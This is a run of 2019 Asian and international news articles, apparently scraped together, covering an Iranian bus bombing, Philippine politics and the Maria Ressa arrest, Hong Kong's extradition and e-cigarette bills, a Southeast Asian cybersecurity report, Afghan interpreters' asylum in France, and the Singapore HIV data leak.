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Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.A suicide car bombing on a Revolutionary Guards bus in southeastern Iran killed 27 troops on Wednesday, in one of the deadliest attacks on the elite forces in years. The assault came as the troops were returning from a border patrol mission, the Guards said in a statement. "In this terrorist attack 27 of Islam's brave warriors were killed and 13 were wounded," the statement read, accusing "world domination and Zionist intelligence agencies" of supporting the attackers. Earlier the official IRNA news agency said "the suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road." A picture released by the semi-official Fars news agency showed a hulk of twisted metal lying by the side of a road, unrecognisable as a bus. The attack happened when "a car filled with explosives blew up besides a bus," the Guards said. "Mercenaries of intelligence agencies of world arrogance and domination," carried out the attack to counteract "the victory of the 40th anniversary of the Islamic revolution," they added. Iran has been celebrating the 40th anniversary of the return to Tehran of Ayatollah Ruhollah Khomeini in 1979 after more than 14 years in exile and the overthrow of the pro-Western shah. His arrival triggered the start of the Islamic Revolution and led to the creation of the Islamic Republic. Wednesday's attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community straddling the border with Pakistan. The SITE Intelligence Group reported that the attack was claimed by Jaish al-Adl, a jihadist group formed in 2012 as a successor to the Sunni extremist group Jundallah (Soldiers of God), which waged a deadly insurgency against Iranian targets over the past decade. The Jaish al-Adl -- blacklisted as a "terrorist group" in Iran -- "announced its responsibility in a brief Persian message on February 13, 2019," SITE reported. The attack came on the same day as the United States gathered some 60 countries in Poland for a conference on the Middle East and Iran which they hoped would increase pressure on Tehran. - 'US obsession' - Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began in the Polish capital. "Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots? US seems to always make the same wrong choices, but expect different results," Zarif wrote on Twitter. He earlier blasted the two-day conference as "dead on arrival". "It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Zarif told a Tehran news conference. Sistan-Baluchistan has been the scene of other attacks. On January 29 three members of an Iranian bomb squad sent to the scene of an explosion in its capital Zahedan were wounded when a second device blew up as they were trying to defuse it, police said at the time. And in early December last year two people were killed and around 40 others wounded in the port city of Chabahar, also in Sistan-Baluchistan, in an attack which Zarif at the time blamed on "foreign-backed terrorists" -- a reference to Sunni Muslim extremists. Another of the bloodiest attacks in recent times to have hit Iran happened in September when assailants killed 24 people at a military parade in the southwestern city of Ahvaz. In October, Jaish al-Adl claimed responsibility for abducting 12 Iranian security personnel near the border with Pakistan. And in July at least 10 members of the Revolutionary Guards were killed when insurgents attacked one of their bases along the border with Iraq.A Chinese student who threw a cup of tofu at a railway police officer in Manila has triggered a national debate about the status of Chinese citizens in the Philippines, with the dispute embroiling the elite of Philippine politics.

Zhang Jiale, 23, threw her soft tofu snack called taho at officer William Cristobal at a Metro Rail Transit station on Saturday morning when he asked her to finish it before going through a gate to the platform, the Philippine Department of Transportation said.

The MRT recently banned liquids as part of tighter security measures in response to a bomb threat.

Zhang, a first-year student at the SoFA Design Institute in Makati City, Metro Manila, was charged with disobeying authority, direct assault and unjust vexation, The Philippine Star reported.

Philippine National Police chief Director General Oscar Albayalde had ordered National Capital Region Police Office chief Director Guillermo Eleazar to take the necessary steps to deport Zhang, the report said.

I gave instructions to the NCRPO to coordinate with the Bureau of Immigration for her possible deportation for being an undesirable alien, Albayalde was quoted as saying.

Zhang, who has been in the Philippines for six years, apologised this week, saying she had been in a bad mood at the time and could not control her emotions.

Im really, really sorry. I really ask if its possible to have another chance, she said. I really like the Philippines. Thats why I want to stay here. I like the people here. I really love Filipinos.

But pictures of Cristobal with his uniform drenched in bean curd had been shared more than 75,000 times by Wednesday, and were not winning her sympathy.

The incident triggered angry comments from Filipinos on social media, with some raising concerns over growing numbers of Chinese visitors, investment and even the dispute in the South China Sea.

Story continues

Responding to the tide of public anger, Foreign Affairs Secretary Teddyboy Locsin urged the public not to get worked up over a non-issue.

She was flinging taho, not encroaching in our national territory, he wrote on Twitter.

But Vice-President Leni Robredo, an arch-rival of China-friendly President Rodrigo Duterte, was not impressed, calling the incident a wake-up call to Filipinos for the special treatment given to Chinese.

Its not only an insult to the police but to all Filipinos as well, she said on her weekly programme on radio station DZXL.

The vice-presidents politically charged comments come on the heels of local media reports that illegal foreign workers, including Chinese, are taking away jobs from Filipinos. With the issue escalating from social media to the heart of Philippines politics, presidential spokesman Salvador Panelo hit back at the vice-president on Monday.

Maybe its a wake-up call to her to stop speculating and stop giving statements that may inflame incidents that need not be so, Panelo said, while also warning foreign nationals to behave in the country.

Many Chinese social media users expressed embarrassment over Zhangs behaviour.

I beg the Philippines not to deport her. We dont want people like this, one user wrote on Weibo, Chinas Twitter-like microblogging service.

Please dont study abroad if you lack moral education, another wrote.

China and the Philippines have developed close financial and political ties since Duterte was elected president in 2016, reversing years of tension between the two countries after the administration of his predecessor, Benigno Aquino, filed a case in 2013 with a United Nations-backed tribunal against Beijings claims in the South China Sea. The tribunal handed down a ruling in Manilas favour a few days after Duterte became president.

In the year he came to power, Duterte secured US$24 billion in investment, credit and loan pledges from China to upgrade his countrys infrastructure. Nearly half of the 75 infrastructure projects in his proposed US$180 billion Build, Build, Build economic strategy are to be financed by China.

The two sides continue to differ over their territorial claims in the South China Sea but Dutertes softly-softly attitude towards China is often attacked by his rivals.

This article Soft tofu and hard questions over Philippine President Rodrigo Dutertes ties to China first appeared on South China Morning Post

For the latest news from the South China Morning Post download our mobile app. Copyright 2019.The Land Transportation Franchising and Regulatory Board (LTFRB) had just signed on Monday a memorandum of agreement (MOA) that granted members of the Philippine National Police (PNP), Philippine Coast Guard (PCG), and Armed Forces of the Philippines (AFP), a 20-percent fare discount in all city and provincial public utility buses (PUBs).

@www.businessinsider.com

According to Department of Transportation (DOTr) Secretary Arthur Tugade, the fare discounts given to those actively serving the military was in line with President Rodrigo Dutertes directive in honoring the men and women in uniform.

In line with the Presidents directive, this is our way of giving back to our soldiers, policemen and Coast Guard servicemen who secure our nation and protect the Filipino people. We owe the peace and order and national security of our country to their inspiring service, Tugade said.

Those present in signing the memorandum were AFP Chief of Staff Gen. Benjamin Madrigal Jr., PNP Chief Director General Oscar Albayalde, PCG Commandant Admiral Elson Hermogino, LTFRB chairman Martin Delgra III, and participating bus operators.

Requirements for Participating Members

According to the LTFRB, all qualified members of the said agencies are required to show a valid ID as proof of their active service.

To avail of the fare discount, uniformed personnel from the aforementioned agencies are only required to present a valid ID as proof of active service, the LTFRB said in a statement.

The government also added that the PUB discount for uniformed personnel will remain for an indefinite period of time. It will then be reviewed later, after a year transpires.

The post PNP, AFP, Coast Guard Personnel Can Now Enjoy Bus Fare Discounts appeared first on Carmudi Philippines.On February 01, The Papua New Guinea Defence Force commissioned the first Austal-built Guardian-class patrol boat, the Her Majesty's Papua New Guinea Ship Ted Diro (HMPNGS Ted Diro).

On February 01, The Papua New Guinea Defence Force commissioned the first Austal-built Guardian-class patrol boat, the Her Majesty's Papua New Guinea Ship Ted Diro (HMPNGS Ted Diro).

HMPNGS Ted Diro during sea trials (Picture source : Austal)

Ted Diro is the first of 21 Guardian-class patrol boats to be gifted to 12 Pacific Island countries and Timor-Leste under the Pacific Maritime Security Program, the successor to the original Pacific Patrol Boat Program in which Australia gifted vessels to Pacific Island nations between 1987 and 1997.

The larger and more capable Austal-made Guardian-class can support mixed-gender crewing and will assist nations to combat a wider range of maritime security issues, including transnational crime and illegal fishing. The 39.5 meter steel hulled patrol boats are built by Austal under a contract from May 2016, with a contract option in April 2018 taking the program to 21 vessels valued at AU$ 335 million.

In addition to the gifting of 21 vessels, the Pacific Maritime Security Program includes contracted region-wide fixed wing aerial surveillance, ongoing sustainment and training support, the continuation of Defences maritime adviser network, and infrastructure upgrades to support the safe and secure berthing of the vessels.

Papua New Guineas former Pacific Patrol Boat, ex-HMPNGS Rabaul, arrived in Australia for environmentally responsible disposal in October 2018, and NUSHIP Ted Diro was handed over to Papua New Guinea in November.Philippine journalist Maria Ressa, who has repeatedly clashed with President Rodrigo Duterte, was arrested in her Manila office on Wednesday in what rights advocates called an act of "persecution". Her detention on a charge of "cyber libel" is a dramatic escalation in the legal pressure bearing down on Ressa and her website Rappler, which was already facing tax evasion charges that could shut it down. "She's been arrested and she's been read her rights," Rappler co-founder Beth Frondoso told AFP. "Fingers crossed -- we'll try to post bail tonight." Ressa, who was named a Time Magazine "Person of the Year" in 2018 for her journalistic work, left the Rappler offices with agents from the National Bureau of Investigation and surrounded by cameras. Rappler has drawn the administration's ire since publishing reports critical of Duterte's signature anti-drug crackdown that has killed thousands of alleged users and pushers since 2016. However, the new case against Ressa and former Rappler reporter Reynaldo Santos, Jr. stems from a 2012 report written about a businessman's alleged ties to a then-judge on the nation's top court. While investigators initially dismissed the businessman's 2017 complaint about the article, the case was subsequently forwarded to prosecutors for their consideration. Philippine journalists immediately attacked the surprise serving of the warrant. "The arrest of... Ressa on the clearly manipulated charge of cyber libel is a shameless act of persecution by a bully government," said the National Union of Journalists' of the Philippines. "The government... now proves it will go to ridiculous lengths to forcibly silence critical media," it added. Duterte has lashed out at other critical media outfits, including the Philippine Daily Inquirer newspaper and broadcaster ABS-CBN. He had threatened to go after their owners over alleged unpaid taxes or block the network's franchise renewal application. Some of the drug crackdown's highest profile critics have wound up behind bars, including Senator Leila de Lima, who was jailed on drug charges she insists were fabricated to silence her. The law that forms the foundation of the case takes aim at various online offences, including computer fraud and hacking. Under the tax case, the government accuses Rappler Holdings Corp., Ressa and the site's accountant of failing to pay taxes on 2015 bond sales that it alleges netted gains of 162.5 million pesos ($3 million). The Philippine justice system is notoriously overburdened and slow, with even minor cases taking years to be judged.Plans by Hong Kong to allow extraditions to Taiwan, Macau and mainland China following a high-profile murder case could become a "Trojan horse" for Beijing to pursue critics, pro-democracy lawmakers warned Wednesday. The financial hub's Security Bureau has proposed changing the law in the wake of the murder of Poon Hui-wing, a pregnant 20-year-old Hong Konger allegedly strangled by her boyfriend during a Valentine's holiday in Taiwan a year ago. Poon's body was found dumped on the outskirts of Taipei after her boyfriend Chan Tong-kai returned home to Hong Kong without her. Chan is currently facing trial in Hong Kong for theft and money laundering linked to his alleged possession of Poon's bank card. But there is currently no prospect of him being extradited to Taiwan where he is wanted for murder. Despite being part of China since its 1997 handover, semi-autonomous Hong Kong still has no extradition agreement with Macau, Beijing or Taipei. The city laws governing extraditions currently rule out returns to "other parts of the People's Republic of China". Like Beijing, Hong Kong views Taiwan as a part of the mainland, hobbling its ability to coordinate with Taiwanese police. Chiu Chih-hung, a spokesman for Taipei's Shilin district prosecutors office, told AFP investigators had made multiple requests to Hong Kong police last year in connection with the murder case but received no response. "We would welcome if the Hong Kong government could revise the relevant law to transfer the suspect to Taiwan to stand trial," he said. In a briefing paper to the city's largely pro-Beijing legislature, which will debate the proposals on Friday, the Security Bureau said the case showed that current extradition laws "must be amended promptly to plug their loopholes and to protect public safety". - 'Open Pandora's Box' - The bureau has proposed allowing extraditions on a "case-basis" and say prosecutions based on "race, religion, nationality or political opinions" would be refused. But prominent pro-democracy lawmakers fear the move could still allow Beijing to tighten the noose on critics. "We're terribly worried. This could prove a Trojan horse," lawmaker Claudia Mo told AFP. "I know the Hong Kong government has implied that political cases will not be entertained, but we all know Beijing could always package ideological crimes in the form of economic offenses." China has a long history of charging critics with fraud and other crimes -- dissident artist Ai Weiwei was famously prosecuted for tax evasion. Pro-democracy lawmaker Eddie Chu warned the proposal could "open Pandora's box". "The Security Bureau's proposal has far-reaching consequences and must not be casually accepted," he wrote on Facebook. Although the proposal has been backed by the city's largest pro-Beijing party, pro-democracy lawmakers say Hong Kong should pursue a separate extradition agreement with Taiwan that doesn't include the mainland. Historically Hong Kong has balked at extraditing suspects to the mainland because of the opacity of China's criminal justice system and the death penalty. The city was also rattled in recent years by the disappearance of several booksellers who resurfaced in China facing charges -- and the alleged rendition of billionaire businessman Xiao Jianhua in 2017.The report is brought by Horangi Cyber Security from Singapore, these are the state of cybersecurity in Southeast Asia

As the third largest internet market, Southeast Asia leads in its e-commerce sector, as told by a report issued by Horangi Cyber Security. In its cybersecurity outlook, Horangi stated that 90 per cent of users in Southeast Asia has internet access via mobile, led by Indonesia, Malaysia, the Philippines, and Thailand.

With 90 million users to date and a market worth of US$ 72 billion last year, internet users in the region are estimated to reach 350 million users.

Also Read: Thai startup Jitta raises US$6.5 million to empower wealth management

A dominant share is held by online travel business as it totaled 41.7 per cent of the internet economy, as recorded by Google & Temasek e-Conomy SEA 2018. Singapore and Vietnam emerged on top as the countries with GDP-contributing internet economy.

Given the overall statistics, Horangi concluded in its findings that cost of cybercrime is increasing as it is persistent, and Asia is a lucrative target even with the lagging of cybersecurity maturity in the region because of low awareness and historical exposure.

Horangi further noted the breaches in cybersecurity for the past year, ranging from Equifax in late 2017 that affected 1.43 million of its consumers, to Marriot hotels data leakages thats been going on for four years undetected.

Number one type of attacks plaguing the region turned out to be a crypto-related one, with crypto exchange accounts being hacked, accounted for 369 per cent in 2017. This reflects the weak information security the region still has that doesnt meet the interest in the sector halfway.

Other big attacks were malware for 275 per cent, as theres an increase in encrypted attacks. In Singapore alone, 42 per cent of the countrys business has reported phishing incidents.

Horangi detailed on why Asia is vulnerable to cyber attack, which is caused by the longer overall time it takes to identify a breach, easier entry, and the lack of cybersecurity experts in the region. Even with the data showing that Asia is, in fact, the fastest growing region for security-related hardware, software, and services since 2015, the total spending on security alone was to hit over US$12 billion last year.

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Horangi Cyber Security is led by CEO and founder Paul Hadjy, focussing on creating software that solves cybersecurity problems in Asia. It provides clients with actionable data to make critical cyber decisions.

Also Read: These two entrepreneurs help elderly Singaporeans improve their independence and age better

In 2016, Grab selected Hadjy as their Head of IT to shape the companys internal technology, information security, and business process architecture.



The post Horangi Cyber Security: Southeast Asia is still vulnerable to cybercrime appeared first on e27.It may be time to kick the habit for vapers in Hong Kong as officials ready a law to choke the supply, sale and promotion of e-cigarettes, with a maximum penalty of six months imprisonment and a fine of HK$50,000 (US$6,370).

A bill to amend the Smoking Ordinance targeting new tobacco products was submitted to the Legislative Council on Wednesday and will go through its first reading on February 20.

The near-total ban makes good on a pledge Chief Executive Carrie Lam Cheng Yuet-ngor made in her second policy address, as the government seeks to nip the relatively new habit in the bud before it becomes entrenched in the city.

Her proposal back then sparked heated debate over whether it would be effective in reducing smoking, and raised questions about the administrations drastic change in policy from regulation to a blanket ban.

Under the new law, it will still be legal to use the products, though doing so in a non-smoking area will be subject to a fixed penalty of HK$1,500 or a court-imposed fine of HK$5,000.

But anyone who brings in, imports, makes, sells, distributes or promotes new smoking products  including e-cigarettes, heat-not-burn products and herbal cigarettes  could be subject to a maximum penalty of six months imprisonment and a fine of HK$50,000 if convicted.

Possession of the products or any part of them for the purpose of manufacturing, sale or distribution will be subject to the same penalty. Distribution in the form of a prize or gift will also be prohibited, while cargo and people in transit will be exempted.

Law enforcement officials will be given more power when handling cases related to new smoking products than those involving conventional tobacco.

Customs officials will be authorised to stop and search any incoming parcel, cargo, baggage or traveller. Officers from the Tobacco and Alcohol Control Office under the Health Department will be able to stop a suspicious person from leaving the scene and call for police help if the person refuses to cooperate with their search.

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Deputy Secretary for Food and Health Amy Yuen Wai-yin said visitors to the city would be able to voluntarily abandon their products in boxes placed at the citys ports.

In case a visitor doesnt throw them away and is later found carrying an e-cigarette during the immigration check, we will tend to handle this with leniency during the early stage if the visitor cooperates and hands over the product to our officers, she said.

The grace period, according to Yuen, could be the first three months of implementation.

Our principle is that no one should be allowed to bring in any of the alternative smoking products, because they are likely to say its for their own use, and we wont be able to keep track of it after they come into Hong Kong, she said. We dont want a black market to come out of such a loophole.

When asked why the authorities chose not to penalise vapers themselves, and whether such a move would push e-cigarette users towards conventional tobacco, Yuen said the purpose of the legislation was not to criminalise users from the start.

We hope these alternative products wont be so easily accessible in the market before they get really popular, she said. We worry that young people, who may not be users of conventional tobacco at the moment, will be attracted by the cool-looking alternative products and become smokers through vaping. We want to nip the problem in the bud.

Yuen added: It is also, in fact, difficult to enforce the law if we ban smoking. And we dont want to trouble the public too much.

If the bill is passed, Hong Kong will have prohibitions in place for alternative smoking products as strict as long-time regional rival Singapore.

Sales of e-cigarettes are currently banned in 30 jurisdictions worldwide, including Macau and Singapore.

Christine Hu, chairwoman of the Coalition on Tobacco Affairs, said the group was disappointed the government had ignored industry opinion and overseas regulatory models which allowed people to choose less harmful products.

The government said it would regulate alternative smoking products last June, but suddenly changed to an outright ban last October, Hu said. It didnt consult the industry or the public before it proposed this amendment.





Hu also accused officials of siding with the medical and education sectors while turning a blind eye to studies which argued alternative smoking products were less harmful than cigarettes.

The government said more than 30 jurisdictions had banned e-cigarettes, but it didnt tell the public that more than 40 allow them, she said.

Hu warned that a black market would emerge.

While some might turn to conventional tobacco, some will still seek the alternative products from overseas, she said.

Philip Morris, the global tobacco company that produces Marlboro cigarettes, said it was also disappointed. It warned that the new law would only push smokers to the most harmful option, traditional cigarettes.

A vaper enjoying a puff in Causeway Bay on Wednesday said he had been smoking less since he turned to e-cigarettes a few months ago.

The government should ban all cigarettes, he said. Now I will be forced to go back to conventional tobacco.

Wong Ting-kwong, an adviser to the coalition and the lawmaker representing the export sector in Legco, said he supported the amendment in principle, but wanted a thorough discussion on the details of implementation.

I understand that the government is concerned about public health and wants to nip the problem in the bud, but the tobacco industrys investments in the alternative products, and related jobs, must also be taken into account, Wong, a smoker of 40 years, said. Moreover, how will the government handle the existing stock?

But Wong added that he believed most lawmakers would support the amendment.

Legislator Kwok Ka-ki, who is also a doctor by profession, said he and most of his pro-democracy colleagues would back the bill, as it was part of the citys responsibility as a member of the World Health Organisations Framework Convention on Tobacco Control.

He said it would be difficult to ban smoking completely.

The main reason behind tackling e-cigarettes is that many young people become smokers through vaping and mistakenly believe it can help them quit smoking, Kwok said.

The Civic Party, of which Kwok is a member, suggested the government recruit more enforcement staff and roll out further bans on exports and consumption in the future.

Banning sales while allowing use will in fact encourage smuggling, the party said in a statement. We believe the government should include a sunset clause and eventually ban exports as well.

Jason Wong Chun-tat, chairman of the Travel Industry Council, said officials would have to publicise the new ban clearly and widely before it comes in, to lessen the inconvenience to visitors.

The longer the grace period, the better, because visitors from far away may book trips to Hong Kong months in advance, he said.

Max Chan Man-fai, chairman of the Hong Kong Vape Association, said he was confident Legco would veto the amendment. However, if the bill were passed, he said, the association would study the possibility of challenging it in court through a judicial review.

If the government is arguing for the amendment on the grounds of public health, then the ban should cover all types of cigarette, Chan said.

He estimated there were more than 200,000 users of e-cigarettes and heat-not-burn products in the city, generating revenue of more than HK$100 million a month.

A government survey released in March last year showed Hong Kong had more than 620,000 daily smokers in 2017, among whom about 5,700 were e-cigarette users.

We will send letters and research materials to all the lawmakers in the following week, so they can learn more about the latest studies and regulatory models, Chan said.

Additional reporting by Karen Zhang

This article Hong Kong pushes ahead with blanket ban on e-cigarettes, with maximum penalty of six months in jail and HK$50,000 fine first appeared on South China Morning Post

For the latest news from the South China Morning Post download our mobile app. Copyright 2019.Hong Kong bus driver who ran over leg of tourist jailed for 11 months for dangerous driving

A Hong Kong bus driver who ran his double-decker over a young mainland Chinese tourist in a traffic accident that left her without a lower leg was jailed for 11 months on Wednesday.

The District Court heard the tragic accident took place at 4.12pm on November 1, 2017 when Citybus driver Liu Kam-wans bus was making a left turn from Nathan Road onto Argyle Street in the busy shopping district of Mong Kok.

At the time the junction was packed with pedestrians waiting to cross Nathan Road.

Among them was Huang Xiaoyi, 18, who recalled that she had tried to back away upon seeing the bus quick approach but found that she had nowhere to turn as she and four others had been standing shoulder to shoulder outside the railings.

The bus first knocked down a suitcase, then Huang, and ran over her foot before it finally stopped six metres farther on at Argyle Street.

Liu immediately called the police and Huang was sent to hospital, with her right foot nearly severed.

The leg later had to be amputated below the knee.

A police investigation revealed that Liu had driven so close to the pavement that his vehicle mounted it as he was making the turn.

The 48-year-old bus driver of eight months pleaded guilty last December to one count of dangerous driving causing grievous bodily harm, an offence punishable by seven years imprisonment.

In mitigation, his lawyer said he felt sorry and remorseful for his offence and revealed that he had since changed his occupation to become a security guard because driving buses would remind him of the accident.

But the lawyer also argued that the accident could have been avoided if Huang had not stood outside the railings.

While district judge David Dufton accepted that was possible, he concluded a deterrent sentence was still needed for the serious offence to ensure pedestrian safety.

A starting point of sentence at 18 months was adopted and discounted by one-third to credit Lius guilty plea, before it was further reduced by one month to account for his previous charitable work, which included an annual HK$600 donation.

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Liu was also barred from driving all kinds of vehicles for the next two years and ordered to attend a driving improvement course by the end of his period of disqualification.

Huang has since acquired a prosthetic leg, which enables her to walk for 10 minutes without crutches, but not without experiencing sharp pain.

This article Hong Kong bus driver who ran over leg of tourist jailed for 11 months for dangerous driving first appeared on South China Morning Post

For the latest news from the South China Morning Post download our mobile app. Copyright 2019.They served the French army on the frontlines in Afghanistan, sometimes bearing arms during operations by international forces against the Taliban. But for years after the French troops pulled out, many Afghan interpreters were left exposed to revenge attacks by Islamist fundamentalists and denied asylum by the country for which they worked. Their long fight for protection from France ended on February 1 when a top French court ordered the state to give immediate protection to all those who had been previously turned away. As Afghanistan sinks further into violence, those who serve or have served foreign militaries are particularly at risk from the Taliban, who view them as traitors. Zainullah Oryakhail, 30, served as an interpreter for a French battalion from 2009 to 2013 -- a role for which he was occasionally armed with a French assault rifle to use in the event of an ambush. On January 7, his long quest for asylum ended when he arrived in France with his family, a year after he fled his village 38 kilometres (around 24 miles) north of Kabul. Oryakhail, who had been denied asylum by France in 2015, had already survived a drive-by shooting at his home and then been wounded in a suicide motorcycle bombing as he spoke to a NATO patrol outside his house. Convinced both attacks were linked to his work with the French military, over which he had received multiple threats, he moved to a freezing, one-room apartment in a suburb of Kabul. He survived by doing odd jobs, living in constant fear, until December 2018, when France's Council of State, the country's highest administrative court, ordered he be given immediate protection, along with five other interpreters whose asylum requests had been rejected in 2015. In the landmark ruling, the court said that the state owed local staff a duty of "functional protection". In a follow-up decision on February 1 the council went further, extending the protection to all the interpreters whose asylum requests had been rejected, including those who missed a government deadline to apply. The ruling, which also sets a precedent for local people employed by the French army in other conflict zones such as the Sahel region of West Africa, comes too late for some Afghans who sought safety in France. Qader Daoudzai, an interpreter for the French military from 2010 to 2012 whose visa application was rejected in 2015, died in a bomb blast in Kabul on October 20. He left behind a pregnant wife and three children. Yusefi Z., another former interpreter who cannot be fully identified for safety reasons, was severely wounded, and his step-brother killed, in mid-January in a bomb blast in Kabul, where he remains in hiding. - 'Traitors' - France was the fifth-biggest contributor of troops to the NATO-led mission in Afghanistan from 2001 to 2014, when the last of its soldiers left the country. Over the course of its long deployment, the military employed 770 local staff in positions such as interpreters, drivers and warehouse workers. A total of 224 interpreters received visas to move to France in three waves of relocations between 2013 and 2018, according to the Association of the French Army's Afghan Interpreters, but many were then turned down. France is not the only country accused of failing to provide adequate protection for former Afghan employees. A British parliamentary committee last year found Britain had "dismally failed" to look after 7,000 former Afghan staff. Defending France's record, a defence ministry source, who asked not to be identified, said French officials had spent a month in the region in late 2018 to hear new asylum requests and reopen old cases. The mission was carried out "at the request of the French president, taking into account the deterioration of the situation during the past 12 months in Kabul and Kapisa," the province where most of the French troops were stationed, the official said. At the end of the mission, 218 long-stay visas were granted to former employees and their families, the official said, adding: "France cannot be accused of doing nothing." - Treated like 'ordinary migrants' - But for Quentin Mueller, co-author of a book entitled "Interpreter, a French Betrayal" ("Tarjuman, une Trahison francaise") published last week, France abandoned those who were its "eyes and ears in the fight" against the Taliban. "It treated them like ordinary migrants who would like to take advantage of the French system," he said. The book's other author Brice Andauer denounced the asylum process as "intentionally opaque and secretive", saying many applicants had been turned down with no reason given. Noting that the French army's local Afghan staff were routinely subjected to background checks, he argued there were few chances of extremists slipping through the system into France. "Furthermore, the Taliban have never advocated global jihad", he pointed out. Today, there are still close to 550 former interpreters and other service providers who could claim protected status in France. Some have already joined the migrant trail to Europe or moved to neighbouring countries, having lost hope of being brought to safety.FILE PHOTO: President Rodrigo Duterte

MANILA, Philippines  Malacanang defended President Rodrigo Duterte from critics who are claiming the President owes part of his presidential win from religious groups.

Presidential Spokesperson Salvador Panelo said, even during President Dutertes time as mayor of Davao City, he did not seek support from church leaders for himself and will definitely never do it for the admin candidates in the 2019 midterm polls.

The President never asks help from any specific religion. What he does is he expresses himself and he tells us why he is doing this and that, he said.

Meanwhile, Malacanang is appealing to all candidates to strictly abide by election policies to ensure an orderly, peaceful and honest elections in May.

Every government, every administration, always appeals to the candidates to strictly observe the election laws. We have to have clean, honest, fair, credible elections, Panelo noted.

He also assured that the President is not using any government fund to push the campaign of admin candidates.

What he is doing, Panelo stressed, are all verbal endorsements.

If ever an opposition candidate wins the election, Panelo said it does not infer that the Presidents endorsement power is dwindling .

It only means when an opposition candidate wins, it means an expression of the electorate telling them that we are putting you there to cooperate with this administration because we believe in this presidency, and not you to destabilize it, the Presidential Spokesperson concluded.  Marje Pelayo (with reports from Rosalie Coz)

The post Duterte not seeking support from religious groups for admin bets  Malacanang appeared first on UNTV News.We can verify that the domain is for sale over the phone, help you with the purchase process, and answer any questions.MANILA, Philippines  The Commission on Election (Comelec) is faced with the huge task of monitoring campaign spending, even more so with the rise of social media as the most popular medium for candidates to widen their reach.

In its Resolution 10488, Comelec has included rules on the use of social media as instrument for campaign.

According to Comelec Spokesperson Director James Jimenez, the poll body has required all candidates and political parties to submit the uniform resource locator (URL) of their official pages for the Comelec to monitor their social media activities.

These include the website name and address, whether its an official blog site or social media page.

Kung ano iyong official outlets nila online ay kailangan i-inform nila kami. Hindi natin mino-monitor ang volume ng labas nila. Ang mino-monitor natin ay ang cost ng content, Jimenez said on Tuesday (February 12).

Halimbawa, you have a thousand followers. You can boost it to more than 50,000 by spending some money. Iyon ang tina-track natin na expense. Because we know what their URLs are, alam natin kung saan natin hahanapin iyong mga campaign materials nila, he added.

The poll body created a specific group of personnel who will focus on tracking down the candidates online bloggers and social media influencers to lead them to the candidates and make sure that no one will be able to escape the rules.

Iisa naman ang template nila so hanapin mo iyong source. Huwag tayong ma-obsess sa mga galamay. Doon tayo sa pinanggalingan, iyon ang hahabulin namin, Director Jimenez said.

Jimenez emphasized, however, that hiring social media associates or commenters must be reported to the poll body.

Kapag nalaman (namin) na mayroon kang social media associates o gumagamit ka ng paid social media commenters, that would be included in your cost. Kasama iyan sa cost na kailangan mong ireport na ikaw ay naghire ng mga personnel for the campaign para ang trabaho lamang ay to influence a discourse, the Comelec Spokesperson said.

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Meanwhile, the poll body clarified that they do not count any post from a person that may benefit a candidate specifically those which cannot be considered as high value promotions.

Mostly pasok iyan sa free expression, Jimenez explained.

You can literally post 24 hours a day and it will not make a difference. The only thing is kapag nag-promote ka ng post mo or naglabas ka ng content na medyo high value, high quality ay kailangan mong i-report. Iyon lang naman ang nire-regulate natin, he added.

An election law expert said candidates should abide by the Comelec rules being the government body authorized to conduct and ensure a peaceful and orderly elections.

Atty. George Erwin Garcia noted, however, that the only thing questionable would be if the Comelec is doing a legislative function when it should only be executing the law.

These will be issues which will be raised definitely in the Supreme Court. The Comelec can always interpret the law kung saan nila gustong i-interpret simply because under the Constitution, the Comelec is there to implement and supervise the conduct of the election, Garcia concluded.  Marje Pelayo (with reports from Aiko Miguel)

The post Comelec warns candidates: Paid social media commenters count appeared first on UNTV News.Sales of French wine and spirits to China fell last year, industry figures showed on Wednesday, in a further sign that a Chinese economic slowdown is hitting consumption. The Federation for Wine and Spirit Exporters (FEVS) said sales to mainland China, France's third-biggest export market, slumped 14.4 percent in 2018 to 1 billion euros ($1.13 billion). But it said the drastic decline had been partly compensated by an increase in exports to Singapore and Hong Kong, from where some French wine is re-routed to the mainland. Sales to all three markets contracted by 1.5 percent last year to 2.5 billion euros, a reversal after years of double-digit growth fuelled by the growing taste for foreign alcohol among the Chinese middle class. China's economy grew at its slowest pace in almost three decades in 2018 and lost more steam in the last quarter of the year as it battles to cut massive debt and quell a US trade war. Antoine Leccia, head of FEVS, put a positive spin on the figures, saying exports to mainland China, Hong Kong and Singapore were still the second-best on record, "which confirms the long-term dynamics of the Chinese market." Worldwide, French wine and spirits exports grew 2.4 percent last year to 13.2 billion euros, driven by appetite for the country's three-star products: Champagne, Bordeaux wine and Cognac. The largest export market remains the United States, where sales increased 4.6 percent. Exports are a key driver for the French wine and spirits industry as it confronts falling consumption at home. In under 20 years, wine consumption per capita in France has fallen by more than 20 percent, according to the latest figures from the International Wine Organisation. The decline is attributed to changing wine drinking habits -- people drink less, but higher quality -- as well as a growing taste for rival alcohols such as beer.Mikhy Farrera-Brochez. (PHOTOS: social media, mugshot.com)

The local authorities have denied allegations made by an American conman at the centre of the massive HIV data leak, calling them baseless and made by a pathological liar on Wednesday (13 February).

Nevertheless, we welcome him to come back to Singapore to assist with police investigations, added the police and the Singapore Prison Service (SPS) in a joint statement.

In a separate statement released on the same day, the Ministry of Health (MOH) similarly rebutted the claims, describing them as false or unsubstantiated with any evidence.

The authorities refutations come hours after a Facebook user claiming to be 34-year-old Mikhy Farrera-Brochez  a former educator previously jailed in Singapore over various offences  responded to multiple charges made against him by the government.

In multiple posts made on the social media platform, Mikhy Brochez denied stealing the database containing the personal details of thousands of patients with HIV (human immunodeficiency virus) from the MOHs HIV registry and leaking them to the public.

Brochez was previously in a relationship with Ler Teck Siang, 37, the former head of the MOHs National Public Health Unit who oversaw the HIV registry.

In one of the Facebook posts, Brochez named two individuals whom he claimed had stolen it in 2012. Brochez also claimed that one of them harassed him and Ler, broke into their house on multiple occasions, and stole the latters work computer.

I did not steal this database nor did I leak it to the public, he added.

Both the police and the SPS said that the same individual was investigated by the police in 2016, following similar allegations levelled by Brochez.

